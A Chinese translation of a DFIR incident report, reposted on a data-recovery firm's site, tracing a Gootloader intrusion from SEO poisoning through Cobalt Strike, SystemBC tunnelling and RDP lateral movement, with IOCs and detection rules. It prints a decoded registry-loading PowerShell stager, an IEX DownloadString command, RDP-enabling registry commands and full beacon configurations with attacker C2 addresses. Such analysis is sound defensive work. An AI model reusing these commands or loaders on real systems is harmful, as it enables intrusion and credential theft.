您当前的位置:主页 > 网络数据安全知识 >

【DFIR报告翻译】SEO投毒到域渗透,Gootloader的传奇依然继续

2024-03-13 索勒数据恢复专家

浏览量:95


**划重点**
01
事件发生在2023年2月,这次入侵起始于用户从一个SEO投毒站点下载的文件。最终导致了Gootloader恶意软件运行。
02
整个入侵持续9小时,Gootloader恶意软件将Cobalt Strike载荷存储在注册表中,之后直接读取注册表加载进内容。
03
攻击者通过SystemBC建立隧道,并使用RDP协议访问失陷主机,包括域控服务器、备份服务器和其他重要服务器。
04
攻击者在操作系统图形界面操作和打开浏览敏感文件,我们没有收集到攻击者将数据外发的证据。

摘要

    这次入侵发生在2023年2月,一个用户搜索"非正式雇佣合同"时,点击了一个Gootloader攻击组织提供的搜索结果词条,Gootloader攻击团伙经常利用雇佣、合同这种词语进行SEO投毒,将自己提供的恶意文件下载链接提升到搜索引擎结果比较靠前的位置。于是,这个用户进入了一个被Gootloader团伙控制的论坛,并下载了带有Gootloader恶意软件的文件。

    下载完成后,用户得到了一个zip文件,包括了一个JavaScript文件,命名与用户搜索的非正式雇佣合同类似。于是用户双击执行了这个JavaScript文件。脚本运行后,在当前用户的AppData目录下创建了新的JavaScript文件,并且创建定时任务运行这个文件进行权限维持。定时任务的触发条件时当用户登录时执行。之后JavaScript脚本调用了PowerShell脚本,完成整个执行过程。

    PowerShell脚本使用基础命令和WMI收集了主机的基础信息,对一个远程C2地址列表进行了遍历,经过九小时后,其中一个远程C2进行了响应,并下发指令,将Gootloader的启动器和Cobalt Strike载荷写入本地注册表中。并直接加载到内存中。

    之后,Gootloader进程使用进程注入技术注入到dllhost进程中,完成了一轮LDAP和SMB主机的存活探测。并且收集到了域用户、管理员、RDP用户和域管理员数据。

    在这些活动大约进行了十分钟后,攻击者在网络内部开始了横向移动。首先创建一个远程服务来禁用Windows Defender的实时监控。随后,他们通过SMB传输了一个Cobalt Strike Beacon可执行文件,并将其作为服务执行。在此之后,Cobalt Strike进程进行了进程注入和访问LSASS进程内存。

    攻击者在使用以上套路进行横向移动时,在攻击域控服务器时,被域控服务器上的Windows Defender阻断了。但他们并没有就此收手,而是继续使用PowerView进行信息收集。最终为了登录域控服务器,攻击者在跳板机运行了PowerShell版本的SystemBC,以进行内网穿透,SystemBC连接到C2服务器后,创建了注册表runkey进行权限维持。攻击者通过SystemBC的隧道,使用RDP成功登录到域控服务器。

    成功登录域控服务器后,攻击者通过RDP上传了许多脚本文件尝试禁用Windows Defender并运行Cobalt Strike载荷,但都失败了。最终他们放弃了上线CS,而是上传了Advanced IP Scanner扫描器对网络进行扫描。之后他们通过扫描发现了远程文件共享,并打开浏览了其中一个密码共享文档。

    攻击者随后将注意力转向了一个备份服务器,利用Windows远程管理(WinRM)执行了多个命令,确保RDP访问服务器是启用且开放的。在确保RDP可用之后,他们通过RDP连接到服务器,然后查看了环境的备份配置。在此期间,他们还在服务器上部署了SystemBC PowerShell脚本。在这项活动之后,攻击者休息了五个小时。在回来后,攻击者继续通过RDP访问主机。

    之后攻击者逐个浏览共享文件以寻找密码本。并在备份服务器上执行Advanced IP Scanner进行了第二轮网络扫描。在这个过程中我们没有发现明显的数据外发痕迹。之后攻击者被逐出了网络。

入侵路径分析

01    边界突破

    攻击者通过SEO投毒的方式,引导用户访问了一个被攻击者控制的论坛网站,并下载了非正式雇佣合同的文件。

    在我们之前的一份报告中包含了一份视频,以展示SEO投毒的攻击过程,让读者更容易理解受害者是如何从SEO投毒到加载Gootloader恶意软件的。

    用户下载的文件实际上是一个包含GootLoader多阶段加载器的ZIP归档文件。我们可以从下面看到,这个ZIP文件是从互联网上的一个网站下载的(ZoneId=3)。

     下图展示了Gootloader的下载和运行过程:

02     代码执行

     Gootloader的执行过程包含以下多个步骤:

     首先,用户双击执行zip压缩文件内的JavaScript脚本:

执行JavaScript文件会释放另一个名为“Frontline Management.js”的JavaScript文件。这个被释放的JavaScript文件经过了大量混淆。

新建文件后,JavaScript脚本还创建了一个名为“InfrSiRfucture Technologies”的计划任务。然后调用此任务以运行新创建的JavaScript文件。最后调用一个PowerShell脚本。执行链如下:Svchost.exe(计划任务)➝ Wscript.exe ➝ Cscript.exe ➝ Powershell.exe

PowerShell脚本包含了十个连接到远程服务器的URL:

不是所有远程服务端都是有效的,有些服务端返回了HTTP 405错误。

最终在这次入侵中,46.28.105[.]94返回了HTTP 200OK的响应结果,带有URL“hxxp:blog[.]lilianpraskova[.]cz/xmlrpc[.]php”。并包含了Gootloader感染的最终阶段载荷。

最终下载的内容包含了三个不同的组件。Gootloader第一阶段(参数为$cXqt)是一个经过混淆的dll,Gootloader第二阶段(参数为$IbaY)在解混后成为一个exe文件。最后,一个脚本将第一阶段和第二阶段写入注册表,然后解混第一阶段并将其加载到内存中。第一阶段负责解混第二阶段,也就是Gootloader的最终有效载荷,并加载我们后面将看到的Cobalt Strike Beacon。

运行的PowerShell代码解码如下:

609265940; sleep -s (20); 60213434; $sxd="hkcu:\software\microsoft\Personalization\geRBAdXTDCkN"; $tGSWK=gp -path $sxd; for ($tGSWKgjA=0; $tGSWKgjA -le 705; $tGSWKgjA++){Try{$OHhnP+=$tGSWK.$tGSWKgjA}Catch{}}; $tGSWKgjA=0; while($true){$tGSWKgjA++; $ko=[math]::("sqrt")($tGSWKgjA); if($ko -eq 1000){break}}$CVaW=$OHhnP.replace("#",$ko); $lSfdm=[byte[]]::("new")($CVaW.Length/2); for($tGSWKgjA=0; $tGSWKgjA -lt $CVaW.Length; $tGSWKgjA+=2){$lSfdm[$tGSWKgjA/2]=[convert]::("ToByte")($CVaW.Substring($tGSWKgjA,2),(2*8))}[reflection.assembly]::("Load")($lSfdm); [Open]::("Test")(); 809902482;

手动解码JavaScript分段负载可能会耗费很多时间,因此我们使用了Mandiant制作的这个出色的脚本。这是一组用于解混Gootloader恶意软件样本的脚本。我们使用了GootLoaderAutoJSDecode.py Python脚本,该脚本利用静态分析自动解码.js文件。

03    权限维持

Gootloader

在Gootloader首次运行时创建了一个计划任务,该计划任务有一个登录触发器,每次登录系统时会执行Gootloader的第二阶段载荷。

SystemBC

在入侵的后期,攻击者部署了一个SystemBC PowerShell脚本。创建了一个名为'socks_powershell'的run key,以开机启动SystemBC。

04    权限提升

我们可以很明显地检测到Cobalt Strike的getsystem执行痕迹:从beacon(DLLHOST)生成了cmd以提升到'SYSTEM'上下文。

该技术的详细信息已记录在这里:https://www.cobaltstrike.com/blog/what-happens-when-i-type-getsystem

最初攻击者从PowerShell进程启动了一个傀儡进程dllhost.exe。并通过已获取的密码登录新的失陷主机。

从事件ID 4624中可以观察到攻击者利用已获取的账号密码登录其他服务器的事件信息。

新创建的登录会话(登录ID)被分配了特殊权限(高权限),详细信息记录在事件ID 4672中。

导致CMD以新的具有提升权限的登录会话运行。

攻击者在入侵过程中使用了多个账户登录失陷主机:

他们在许多服务器上穿梭自如,来回切换使用多个账户登录:

在这个过程中我们可以从几个角度进行检测:例如将异常登录事件与高权限账户的登录事件进行关联。或者普通用户登录后获取特殊权限的事件。还有当登录类型为9,并且认证类型为seclogo,是典型的Cobalt Strike的PTH攻击特征。
(https://www.cobaltstrike.com/blog/windows-access-tokens-and-alternate-credentials)

05    防御规避

HCKU\Software\Microsoft\Personalization

注册表键值包含Cobalt Strike第一第二阶段的载荷:

geRBAdXTDCkN

cbkSBtbjQBNFy

可以通过Base64编码的PowerShell命令观察执行负载以运行Cobalt Strike Beacon的过程。

在入侵期间,我们观察到与Windows Defender篡改相关的活动。这个命令是通过Cobalt Strike模块(如psexec_psh)远程在主机上执行的。已删除了定期的扫描任务,并创建了一个服务来禁用实时监控。

计划任务命令执行

远程桌面
通过将DisableRestrictedAdmin键修改为0,启用了受限管理员模式

启用受限管理员模式允许攻击者使用收集到的哈希值进行登录,而无需密码。有关说明可以在这里找到[https://github.com/GhostPack/RestrictedAdmin]。俄罗斯国家安全局(SVR)和其他多个攻击者也观察到了相同的技术。

同样的技术在之前的一个Gootloader案例以及其他两个公开案例中也有记载。
通过修改注册表DenyTSConnections的值,启用了RDP远程连接

Windows 防火墙
在域控服务器上,使用netsh命令启用了RDP
请输入图片描述

同时启用远程管理设置

进程注入
我们观察到了进程注入的活动,使用了PowerShell和dllhost来将Cobalt Strike Beacon加载到失陷主机的内存中。

这可以在基础设施主机的内存转储中观察到,内存空间具有特征性的PAGE_EXECUTE_READWRITE保护设置,而在进程内存空间中可观察到MZ头。

在入侵过程中,我们观察到攻击者通过PowerShell和dllhost注入的Cobalt Strike Beacon利用了多个命名管道:

PipeName: \4fcc39 
PipeName: \netsvc\1324


PipeName: \4fcc39 
PipeName: \netsvc\415

06    凭证窃取

攻击者在失陷主机上通过Cobalt Strike会话访问了LSASS进程内存以读取用户凭证。

带有“UNKNOWN”的可疑CallTrace表示注入的代码,而授予的访问权限0x1010是类似mimikatz等凭据窃取工具的特征。代码0x1010可以分解为以下访问权限:

0x00000010 = VMRead

0x00001000 = QueryLimitedInfo

攻击者花了一些时间访问和查看文件。最感兴趣的文件是那些可能保存了密码的文件。在这次入侵中,“Notepad”被用来查看密码文件共享位置中的一个文件。

07    内网探测

Gootloader
在手动入侵前,Gootloader首先使用PowerShell收集了主机的基础信息

第一部分env收集主机的环境信息

接下来使用Get-WmiObject收集了主机操作系统的信息。

然后使用Get-Process运行了具有maintitlewindow过滤器的进程。
无过滤器:

有过滤器:

使用Get-PsDrive获取磁盘空间信息

RDP 端口扫描
攻击者使用Advanced IP Scanner (https://www.advanced-ip-scanner.com/) 扫描网络中的3389端口开放情况

LDAP
DLLHost进程(Cobalt Strike Beacon)使用端口389和3268进行了多个LDAP(轻量级目录访问协议)查询。

共享枚举
攻击者扫描了所有网络节点以查找共享文件夹的存在。这是我们在其他类似案例中观察到的常见技术,用于发现和收集感兴趣的信息,例如凭据和机密信息。

Ping扫描
DLLHost(Cobalt Strike Beacon)使用'ping'命令在多个失陷主机上进行了几次ping扫描:

使用ping命令的情况具有一些可供检测的异常特征。该命令是从SYSTEM账户执行的,并且创建了一个没有附加控制台会话的conhost进程:
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-wtsgetactiveconsolesessionid#return-value


AD 信息枚举
攻击者列举了“Remote Management Users”、“Remote Desktop Users”、“Local Administrators”和“Distributed COM Users”组。


PowerSploit
攻击者使用PowerSploit的PowerView Cmdlets来发现域配置。Cmdlets包括Get-DomainFileServer和Get-DomainSearcher。这是作为一个base64编码的值传递的,来自SYSTEM用户上下文。Base64值SQB是IEX关键字的常见指标,通常用于文件的下载。

解码后:

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:12210/'); Get-DomainFileServer

使用回环IP地址[127.0.0.1]表明脚本是通过其自身的植入物[dllhost]传递的。此处使用命令的详细信息。
Get-DomainSearcher函数在执行Get-DomainFileServer的过程中被调用:

08    横向移动

使用远程服务创建在多个端点上部署了Cobalt Strike Beacon。服务要么基于PowerShell的Base64编码的有效载荷创建,要么作为一个可执行文件。

请输入图片描述

Cobalt Strike Beacon的PowerShell有效载荷具有可识别的特征,包括随机服务名称、使用COMPSPEC和PowerShell参数。以JAB开头的Base64编码是正在使用的变量的常见指标。已编译的Cobalt Strike Beacon被放置在域控制器上。

请输入图片描述

这个特定的Beacon被主机防病毒软件检测到(Windows Defender事件ID 1117)并被删除。

请输入图片描述

通过SMB共享分发CS载荷

下图显示了通过SMB管理员共享将Cobalt Strike Beacon分发到失陷主机的过程。

请输入图片描述

请输入图片描述

请输入图片描述

使用WMI远程启动进程

入侵过程中,攻击者也使用了WMI远程执行命令reg add 来操作远程主机的注册表,修改DenyTSConnections的值以启用RDP连接。

reg add "HKLM\SYSTEM\CurrrentControlSet\Control\Terminal Server" /f /v fDenyTSCo

请输入图片描述

并且攻击者还使用WMI启用了远程受限管理,这在事件ID4688中有所记录。

请输入图片描述

Remote Desktop Protocol
攻击者使用RDP在多个失陷主机上横向移动,如下图所示:

请输入图片描述

在Windows 日志RemoteDesktopServices-RdpCoreTS/Operational中,事件ID 131记录了远程RDP客户端的信息,包括IP地址和端口。

请输入图片描述

使用MSRPC远程创建服务
攻击者通过RPC远程创建服务,通过MSRPC 服务控制管理器SCM来远程创建服务以执行命令,是已知的Cobalt Strike特征,下面是捕获的通过PowerShell执行CreateWowService调用以关闭Windows Defender行为。通过配置密码或NTLM 哈希可以在wireshark中解密流量。

请输入图片描述

人工渗透阶段
攻击者通过一个已获取的账号密码,在主机间横向移动,并使用Notepad打开了一个payload.txt文件。

请输入图片描述

这个文件在流量中也捕获到了,查看这个文件的内容我们可以得到一个编码过的PowerShell脚本,功能是用于关闭Windows Defender。

请输入图片描述

我们可以从sysmon 事件类型24上,看到攻击者操作过剪切板,主机名是DESKTOP-GRALDC5。

请输入图片描述

09    信息搜集

除了凭据访问中提到的与密码相关的文件之外,还使用WordPad访问了其他敏感文件。一些感兴趣的文件包括与法律相关的文件和文件夹,如合同。

请输入图片描述

10    远程控制

Cobalt Strike
攻击者使用的Cobalt Strike在DFIR订阅情报中出现过。

91.215.85.143:443 
JA3: 72a589da586844d7f0818ce684948eea
JA3S: f176ba63b4d68e576b5ba345bec2c7b7

CS 载荷
在入侵过程中我们也观察到攻击者在域控服务器上执行的base64编码的PowerShell代码。

请输入图片描述

base64解码后,输出如下,很明显还有一层加密:

请输入图片描述

Payload使用Cobalt Strike默认的35异或编码,直接解密后得到源码如下:

请输入图片描述

我们使用的CyberChef解码脚本如下:

Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Gunzip()
Label('Decode')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Conditional_Jump('',false,'',10)
From_Base64('A-Za-z0-9+/=',true)
XOR({'option':'Decimal','string':'35'},'Standard',false)

请输入图片描述

通过1768.py,我们可以提取到Cobalt Strike 的配置信息。包括C2IP:91.215.85[.]143和License信息:206546002,这一个已知的在多起入侵中出现的License。

请输入图片描述

下图统计了PowerShell载荷、DLLHost进程与C2服务器通信的心跳情况。

请输入图片描述

CS HTTP 载荷
攻击者使用了CS的HTTP载荷进行C2通信。HTTP载荷的配置提取如下:

{
  "beacontype": [
    "HTTPS"
  ],
  "sleeptime": 22000,
  "jitter": 37,
  "maxgetsize": 13986556,
  "spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",
  "license_id": 206546002,
  "cfg_caution": false,
  "kill_date": null,
  "server": {
"hostname": "91.215.85.143",
"port": 443,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAJbAA83lOuZlkNoqHDAdV1F7OJnqUiF3kD6mwuXzJzVpu9+f4l/QIUotuiQA+vvxdM3q/XGu77WogAe90LRUknEdoD6YnU32G/ts9dbSwG6HySt7cLn5B3FsomLWjBbssH9e31TihCUvZbK6PRzmLW4SBgZigBWLXZgu7+SwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
  },
  "host_header": "",
  "useragent_header": null,
  "http-get": {
"uri": "/jquery-3.3.1.min.js",
"verb": "GET",
"client": {
  "headers": null,
  "metadata": null
},
"server": {
  "output": [
    "print",
    "append 1522 characters",
    "prepend 84 characters",
    "prepend 3931 characters",
    "base64url",
    "mask"
  ]
}
  },
  "http-post": {
"uri": "/jquery-3.3.2.min.js",
"verb": "POST",
"client": {
  "headers": null,
  "id": null,
  "output": null
}
  },
  "tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "crypto_scheme": 0,
  "proxy": {
"type": null,
"username": null,
"password": null,
"behavior": "Use IE settings"
  },
 "http_post_chunk": 0,
  "uses_cookies": true,
  "post-ex": {
"spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
"spawnto_x64": "%windir%\\sysnative\\dllhost.exe"
  },
  "process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
  "CreateThread 'ntdll!RtlUserThreadStart'",
  "CreateThread",
  "NtQueueApcThread-s",
  "CreateRemoteThread",
  "RtlCreateUserThread"
],
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
  "prepend '\\x90\\x90'"
],
"transform-x64": [
  "prepend '\\x90\\x90'"
],
"userwx": false
  },
  "dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": null,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
  },
  "pipename": null,
  "smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "stage": {
"cleanup": true
  },
  "ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
  }
}

Cobalt Strike SMB 载荷
攻击者在横向移动时也使用了SMB载荷进行通信,我们提取到的载荷配置如下:

{
  "beacontype": [
"SMB"
  ],
  "sleeptime": 10000,
  "jitter": 0,
  "maxgetsize": 10485760,
  "spawnto": "WzJAyjDIW7WfbjhHiN8wmQ==",
  "license_id": 206546002,
  "cfg_caution": false,
  "kill_date": null,
  "server": {
"hostname": "",
"port": 4444,
"publickey": "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCN5UAJbAA83lOuZlkNoqHDAdV1F7OJnqUiF3kD6mwuXzJzVpu9+f4l/QIUotuiQA+vvxdM3q/XGu77WogAe90LRUknEdoD6YnU32G/ts9dbSwG6HySt7cLn5B3FsomLWjBbssH9e31TihCUvZbK6PRzmLW4SBgZigBWLXZgu7+SwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="
  },
  "host_header": null,
  "useragent_header": "",
  "http-get": {
"uri": null,
"verb": null,
"client": {
  "headers": [],
  "metadata": null
},
"server": {
  "output": []
}
  },
  "http-post": {
"uri": "",
"verb": null,
"client": {
  "headers": [],
  "id": null,
  "output": null
}
  },
  "tcp_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "crypto_scheme": 0,
  "proxy": {
"type": null,
"username": null,
"password": null,
"behavior": null
  },
  "http_post_chunk": null,
  "uses_cookies": null,
  "post-ex": {
"spawnto_x86": "%windir%\\syswow64\\dllhost.exe",
"spawnto_x64": "%windir%\\sysnative\\dllhost.exe"
  },
  "process-inject": {
"allocator": "NtMapViewOfSection",
"execute": [
  "CreateThread 'ntdll!RtlUserThreadStart'",
  "CreateThread",
  "NtQueueApcThread-s",
  "CreateRemoteThread",
  "RtlCreateUserThread"
],
"min_alloc": 17500,
"startrwx": false,
"stub": "yl5rgAigihmtjA5iEHURzg==",
"transform-x86": [
  "prepend '\\x90\\x90'"
],
"transform-x64": [
  "prepend '\\x90\\x90'"
],
"userwx": false
  },
  "dns-beacon": {
"dns_idle": null,
"dns_sleep": null,
"maxdns": 0,
"beacon": null,
"get_A": null,
"get_AAAA": null,
"get_TXT": null,
"put_metadata": null,
"put_output": null
  },
  "pipename": "\\\\.\\pipe\\mojo.5688.8052.1838949397870888770b",
  "smb_frame_header": "AAWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=",
  "stage": {
"cleanup": true
  },
  "ssh": {
"hostname": null,
"port": null,
"username": null,
"password": null,
"privatekey": null
  }
}

SystemBC

攻击者使用一个用户目录AppData\Roaming下s5.ps1的脚本运行SystemBC。

请输入图片描述

s5.ps1原来是一个PowerShell版本的SystemBC,正如Proofpoint所描述的那样。过去几年中,这个PowerShell版本已经出现得越来越频繁[1,2,3]。通过对流量的PCAP进行解密,我们发现在内部,它正在运行SOCKS v5流量。第一个数据包的前50个字节是以0x00开始,以0x3a结束的加密密钥:

请输入图片描述

请输入图片描述

使用该密钥解密第一个应答数据包显示,这是SOCKS v5流量,并且还显示了域名:

请输入图片描述

x05 -> Version 5 
x01 -> Command Code 1 
x00 -> Reserved 
x03 -> Address Type 
x05 -> Length of Domain (domain name redacted)

在脚本被放置大约四分钟后,SOCKS(SystemBC)被用于通过一个受损的端点从外部IPv4 91.92.136[.]20:4001隧道到域控制器的网络连接。该端点被配置为执行一个PowerShell脚本[s5.ps1],建立了一个与攻击者控制的基础设施的SOCKS连接。

请输入图片描述

请输入图片描述

SOCKS隧道提供了从攻击者计算机到受害端点的以下连接,并允许外部传输RDP [3389]。

请输入图片描述

在端点上使用代理(SOCKS隧道)的一个副作用是不寻常的端口分配,例如,PowerShell与端口3389通信。在这种情况下,RDP被用来通过PowerShell进程隧道到域控制器,使用的是端口3389。

请输入图片描述

这个活动通过Windows事件ID 4778暴露了攻击者计算机的计算机名,名称为'DESKTOP-GRALDC5'。客户端地址指的是代理端点,一个私有的IPv4地址。

请输入图片描述

在入侵过程中,我们还观察到第二个主机名出现为'HOME-PC'。这也是通过与RDP访问相关的登录找到的。

请输入图片描述

根据SRUM(系统资源实用程序监视器),在使用SOCKS隧道的情况下,攻击者在入侵的第二天从0600 UTC到1100 UTC期间最为活跃。

请输入图片描述

在入侵过程中观察到使用了两个不同的攻击者计算机名,分别为'DESKTOP-GRALDC5'和'HOME-PC'。

11    时间线

请输入图片描述

12    钻石模型

请输入图片描述

13    IoCs

Indicators
Atomic

Gootloader
hxxps[:]//hrclubphilippines[.]com/xmlrpc.php
hxxps[:]//mediacratia[.]ru/xmlrpc.php
hxxps[:]//daraltanweer[.]com/xmlrpc.php
hxxps[:]//ukrainians[.]today/xmlrpc.php
hxxps[:]//my-little-kitchen[.]com/xmlrpc.php
hxxps[:]//montages[.]no/xmlrpc.php
hxxps[:]//pocketofpreschool[.]com/xmlrpc.php
hxxp[:]//blog[.]lilianpraskova[.]cz/xmlrpc.php
hxxps[:]//sitmeanssit[.]com/xmlrpc.php
hxxp[:]//artmodel[.]com[.]ua/xmlrpc.php

Cobalt Strike
91.215.85[.]143:443

SystemBC C2
91.92.136[.]20:4001

Computed

Implied_employment_agreement_70159.zip
fb6e4f75763fad6d0e7fe85a563b0c24
7e8543f2bc09bf320510fde5e34e32065339d9d2
873dd1dcdfcbe9826b274c5880f5be81a878ee93715fbb18a654d9dba61c5dfc

implied employment agreement 24230.js
deb24dfaf8178fda2d070aba9134a30c
ecc0b26106703e129fb1e2ec132c373870c2e7b6
f94048917ac75709452040754bb3d1a0aff919f7c2b4b42c5163c7bdb1fbf346

Frontline Management.js
4f4ee823a8c7e2511f05b3ea633c0d2c
877515fecc14ed193167e8a20c6b9a684a74564d
ecc7f13c3f0f8d4775e05715810b0164c52b7bd233e4a2e4f5a37769becb0092

stage1 (geRBAdXTDCkN)
md5sum payload1.dll_: 25b38e45df3cd215386077850c59be07
sha1sum payload1.dll_: a88a28c73aa42956c9f9d12585a8de63d4a00e47
sha256sum payload1.dll_: 68dd1a2da732d56b0618f8581502fcf209b1c828c97d05f239c98d55bb78b562 

stage2 (cbkSBtbjQBNFy)
md5sum payload2.exe_: 1b8b4f05058ac39091b99cc153ab00c0
sha1sum payload2.exe_: e0b568a3e35257cd30b0c42727c3529cef13b081
sha256sum payload2.exe_: 831955bd05186381a8f15539a41f48166873eab3feb55fb1104202e4152bd507 

e544944.exe - CS  beacon
md5sum e544944.exe: f769cb73317421c290832777c9e14f92
sha1sum e544944.exe: f043898fc9db6985c4ad8bb84669c081cdaa8e6f  e544944.exe
sha256sum e544944.exe: 40c40495434bf987b04f0742c3e9201189675d87a042aa72abbd0084c3de66d8
imphash: 49145e436aa571021bb1c7b727f8b049

5d78365.exe - CS beacon
md5sum 5d78365.exe: 9f9c7b2c8f245e62a08bf5f8a3eb3498 
sha1sum 5d78365.exe: 3cf851eb09c934cafe9b98d4706f903dff804b0c 
sha256sum 5d78365.exe: aad75498679aada9ee2179a8824291e3b4781d5683c2fa5b3ec92267ce4a4a33
imphash: 49145e436aa571021bb1c7b727f8b049

dae50de.exe - CS beacon
md5sum dae50de.exe: a617e6687ab5d747c530b930bb4a3209
sha1sum dae50de.exe: d53e550b54c08606e19965a9f74bbaa7063e10f1
sha256sum dae50de.exe: be3222219f029b47120390b2b1ad46ae86287e64a1f7228d6b2ffd89345a889e 
imphash: 49145e436aa571021bb1c7b727f8b049

a4a2ea4.exe - CS beacon
md5sum a4a2ea4.exe: e9fc0203d1dea15dff56a285d0f86b62
sha1sum a4a2ea4.exe: 72076af2ce8df6f8b1121c38f3c3db043c540369
sha256sum a4a2ea4.exe: 792a95234b01c256019b16a242b9487b99e98ed8a955eaecf1e44b0141aa12f4
imphash: 49145e436aa571021bb1c7b727f8b049

Detections
Network

ET POLICY Powershell Command With Encoded Argument Over SMB - Likely Lateral Movement
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
ET POLICY PE EXE or DLL Windows file download HTTP
ET POLICY SMB2 NT Create AndX Request For an Executable File
ET POLICY SMB Executable File Transfer
ET MALWARE SystemBC Powershell bot registration
ET POLICY Powershell Command With Hidden Window Argument Over SMB - Likely Lateral Movement
ET HUNTING Possible Powershell .ps1 Script Use Over SMB
ET POLICY SMB2 NT Create AndX Request For a Powershell .ps1 File
ET POLICY Possible Powershell .ps1 Script Use Over SMB
ET POLICY Powershell Command With Encoded Argument Over SMB - Likely Lateral Movement
ET POLICY Powershell Command With No Profile Argument Over SMB - Likely Lateral Movement

Sigma
Search rules on detection.fyi or sigmasearchengine.com
DFIR Public Rules Repo:

92f0538f-ad13-4776-9366-b7351d51c4b8 : Disable Windows Defender via Service
81cfbbae-5e93-4934-84a2-e6a26f85c7bb : JavaScript Execution Using MSDOS 8.3 File Notation

DFIR Private Rules:

8537a157-5c6c-4173-9e65-943ff82c1efb : New Remote Access Configuration via netsh.exe
b17dc721-6e2d-4f2c-aaf5-4cbdcdfed6f5 : Remote Password File Access via Notepad or Wordpad

Sigma Repo:

d7a95147-145f-4678-b85d-d1ff4a3bb3f6 : CobaltStrike Service Installations - Security
3ef5605c-9eb9-47b0-9a71-b727e6aa5c3b : Use NTFS Short Name in Image
88f680b8-070e-402c-ae11-d2914f2257f1 : PowerShell Base64 Encoded IEX Cmdlet
1ec65a5f-9473-4f12-97da-622044d6df21 : Powershell Defender Disable Scan Feature
ecbc5e16-58e0-4521-9c60-eb9a7ea4ad34 : Meterpreter or Cobalt Strike Getsystem Service Installation - Security
5ef9853e-4d0e-4a70-846f-a9ca37d876da : Potential Credential Dumping Activity Via LSASS
962fe167-e48d-4fd6-9974-11e5b9a5d6d1 : LSASS Access From Non System Account
a2863fbc-d5cb-48d5-83fb-d976d4b1743b : RDP Sensitive Settings Changed to Zero
d6ce7ebd-260b-4323-9768-a9631c8d4db2 : RestrictedAdminMode Registry Value Tampering
ed74fe75-7594-4b4b-ae38-e38e3fd2eb23 : Outbound RDP Connections Over Non-Standard Tools
01aeb693-138d-49d2-9403-c4f52d7d3d62 : RDP Connection Allowed Via Netsh.EXE

Yara
https://github.com/The-DFIR-Report/Yara-Rules/blob/main/19530/19530.yar

MITRE ATT&CK

请输入图片描述

安全建议

1. 风险消减措施

资产梳理排查目标:根据实际情况,对内外网资产进行分时期排查
服务方式:调研访谈、现场勘查、工具扫描
服务关键内容:流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查
请输入图片描述

2. 安全设备调优

目标
通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。
请输入图片描述

主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。

3. 全员安全意识增强调优

目标:
通过网络安全意识宣贯、培训提升全方位安全能力
形式:
培训及宣贯
请输入图片描述

线下培训课表

若无法组织线下的集体培训,考虑两种方式:
1.提供相关的安全意识培训材料,由上而下分发学习
2.组织相关人员线上开会学习。线上培训模式。

请输入图片描述

线上学习平台

团队介绍

团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)等认证,已构建了网络安全行业合格的资质体系;

我们的数据恢复服务流程

